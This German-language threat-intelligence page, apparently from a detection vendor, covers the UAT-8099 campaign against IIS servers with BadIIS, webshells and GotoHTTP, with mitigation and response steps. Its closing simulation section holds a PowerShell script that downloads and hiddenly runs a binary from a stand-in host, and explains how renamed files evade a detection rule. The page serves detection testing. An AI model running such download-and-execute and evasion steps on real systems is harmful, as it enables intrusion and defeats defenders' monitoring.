Untersuchung von UAT-8099: Neue Persistenzmechanismen und regionale Fokussierung
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Cisco Talos berichtet über eine neue UAT-8099-Kampagne, die auf verwundbare IIS-Webserver in Asien abzielt. Der Akteur setzt angepasste BadIIS-Varianten ein, die regionale Kennungen enthalten, und verlässt sich auf Webshells, PowerShell und das Fernsteuerungs-Tool GotoHTTP für die nachfolgende Steuerung. Die Persistenz wurde erweitert, um die Erstellung versteckter lokaler Konten und die Verwendung legitimer Red-Team-Utilities einzuschließen, um sich in administrative Aktivitäten einzufügen. Diese Fähigkeiten überschneiden sich mit der früheren WEBJACK-Operation und scheinen sich auf SEO-Betrug zu konzentrieren, der Websites in Thailand und Vietnam betrifft.
Untersuchung
Talos überprüfte DNS-Telemetrie, Dateihashes und bösartige Skripte, um die Angriffskette zu rekonstruieren. Analysten stellten fest, dass Webshells mit Tools wie SoftEther VPN und EasyTier sowie einem Satz maßgeschneiderter Utilities, darunter Sharp4RemoveLog, CnCrypt Protect, OpenArk64 und GotoHTTP, kombiniert wurden. Zwei auf die Region abgestimmte BadIIS-Varianten—IISHijack und asdSearchEngine—wurden rückentwickelt, was fest codierte Ländercodes, selektives Anforderungsfiltern und XOR-verschlüsselte C2-Konfigurationen aufdeckte. Auch auf VirusTotal wurde ein ELF-Build von BadIIS mit passenden C2-Domains identifiziert.
Minderung
Patchen Sie exponierte IIS-Schwachstellen, verstärken Sie die Durchsetzung der Web Application Firewall und überwachen Sie die Erstellung versteckter lokaler Konten (zum Beispiel admin$, mysql$ und ähnliche). Erkennen Sie PowerShell-Aktivitäten, die GotoHTTP herunterladen oder starten und blocken Sie die ausgehende Kommunikation zu bekannten C2-Domains. Verwenden Sie Endpunktkontrollen, um auf die Ausführung der identifizierten benutzerdefinierten Utilities und auf unerwartete Änderungen in Webserververzeichnissen zu alarmieren.
Reaktion
Wenn Indikatoren gefunden werden, isolieren Sie den Server, entfernen Sie Webshells und löschen Sie versteckte Konten. Bewahren Sie BadIIS-Binärdateien und verwandte Skripte für die forensische Analyse auf und führen Sie eine vollständige Überprüfung des Netzwerkverkehrs durch, um C2-Aktivitäten zu identifizieren. Stellen Sie von einem bekannten, guten Backup wieder her und härten Sie die IIS-Konfiguration erneut, um eine erneute Infektion zu verhindern.
Angriffsfluss
Erkennungen
Download oder Upload über Powershell (via cmdline)
Ansehen
Verdächtige Dateien im öffentlichen Benutzerprofil (via file_event)
Ansehen
Mögliche Konto- oder Gruppenaufzählung (via cmdline)
Ansehen
Erkennen von PowerShell-Befehlsausführungen für die GotoHTTP-Bereitstellung [Windows PowerShell]
Ansehen
Erkennung von BadIIS-Malware, die IIS-Server für SEO-Betrug angreift [Webserver]
Ansehen
Simulation Ausführung
Voraussetzung: Der Telemetrie- und Baseline-Pre-Flight-Check muss bestanden sein.
-
Angriffserzählung & Befehle:
Ein Angreifer hat sich initialen Zugang zu einem kompromittierten Webserver verschafft. Sie erstellen ein verstecktes Verzeichnis namensbad_iisunter dem IIS-Webstamm und legen eine benutzerdefiniert benannte Web-Shell-Binärdatei abshell_xyz.exe(um den literal string „Webshell“ zu vermeiden). Mit der Shell führen sie seitlich ein PowerShell-Payload aus, das die GotoHTTP-Binärdatei herunterlädt, diese insvc_update.exeumbenennt und ausführt. Da die Bildnamen obfuskiert sind, umgeht dies den ursprünglichen Regel-Image|containsprüfungen, während das Kommandozeilenargument immer noch „PowerShell“ enthält. -
Regression Test-Skript: Dieses Skript reproduziert die beschriebenen Schritte und erzeugt Telemetrie ähnlich wie bei dem BadIIS-Angriff ohne die genauen Strings zu verwenden, auf die die Regel achtet.
# BadIIS simulation – obfuscated version $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" New-Item -Path $payloadDir -ItemType Directory -Force | Out-Null # Deploy a renamed web‑shell (binary copy of a known benign exe) $shellSrc = "$env:SystemRootSystem32notepad.exe" $shellDst = Join-Path $payloadDir "shell_xyz.exe" Copy-Item -Path $shellSrc -Destination $shellDst -Force # Simulate the web‑shell invoking PowerShell to download GotoHTTP $gotoUrl = "http://malicious.example.com/GotoHTTP.exe" $gotoDst = "C:WindowsTempsvc_update.exe" $psCommand = @" Invoke-WebRequest -Uri '$gotoUrl' -OutFile '$gotoDst'; Start-Process -FilePath '$gotoDst' -WindowStyle Hidden; "@ # Execute the PowerShell payload via the renamed web‑shell (process creation) Start-Process -FilePath $shellDst -ArgumentList "/c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `$psCommand`" -WindowStyle Hidden Write-Output "BadIIS simulation executed." -
Bereinigung Befehle: Entfernt die platzierten Artefakte und stellt die Umgebung wieder her.
# Cleanup BadIIS simulation artifacts $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" Remove-Item -Path $payloadDir -Recurse -Force -ErrorAction SilentlyContinue $gotoDst = "C:WindowsTempsvc_update.exe" Remove-Item -Path $gotoDst -Force -ErrorAction SilentlyContinue Write-Output "Cleanup completed."